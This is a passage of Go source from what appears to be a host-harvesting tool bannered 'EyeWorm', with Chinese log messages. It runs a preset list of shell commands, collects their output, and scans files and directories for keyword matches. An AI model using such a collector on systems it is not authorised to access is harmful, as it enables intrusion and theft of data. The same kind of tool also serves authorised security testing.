if !isInArray(&targetProcessPaths, Exe) {
targetProcessPaths = append(targetProcessPaths, Exe)
PathErrorFlag = false
break for1
}
println(Exe + "该路径已经在扫描队列中")
}
}
}
if ExistErrorFlag {
println(tp + "该进程不存在!")
}
if PathErrorFlag {
println(tp + "该进程无路径或为系统进程,尝试在system32中寻找该进程")
}
}
func WormCommand() {
for _, cmd := range Commands {
CommandResults = append(CommandResults, runCmd(cmd))
}
CommandResultslog(CommandResults)
}
func CommandResultslog(crs []string) {
x := 1
for _, r := range crs {
fmt.Printf("=======================第%v条命令结果============================\n", x)
fmt.Println(r)
x++
}
}
func GetCommandResults(crs []string) string {
var result string
x := 1
for _, r := range crs {
result += fmt.Sprintf("=======================第%v条命令结果============================\n", x)
result += fmt.Sprintln(r)
x++
}
return result
}
func WormFiles(locations []string, coller *Collector) {
for _, location := range locations {
fileScan(location, coller)
}
if coller.ContentKeys != nil && len(coller.ContentKeys) != 0 {
for _, location := range coller.FliesScanTargets {
if !IsDir(location) {
FileContentScan(location, coller)
}
}
}
fmt.Println(" ______ __ __ \n | ____| \\ \\ / / \n | |__ _ _ __\\ \\ /\\ / /__ _ __ _ __ ___ \n | __|| | | |/ _ \\ \\/ \\/ / _ \\| '__| '_ ` _ \\\n | |___| |_| | __/\\ /\\ / (_) | | | | | | | |\n |______\\__, |\\___| \\/ \\/ \\___/|_| |_| |_| |_|\n __/ | \n |___/ \n ")
fmt.Println("==================目标文件如下:====================================\n")
Fmtlog(coller.FliesScanTargets)
fmt.Println("\n\n\n==================目标内容如下:====================================\n")
Fmtlog(coller.ContentScanTagerts)
}
func fileScan(location string, coller *Collector) {
fmt.Println("正在運行-----------" + location)
if IsDir(location) {
DirScan(location, coller)
} else {
FileContentScan(location, coller)
}
}
func readCurrentDir(arg string) string {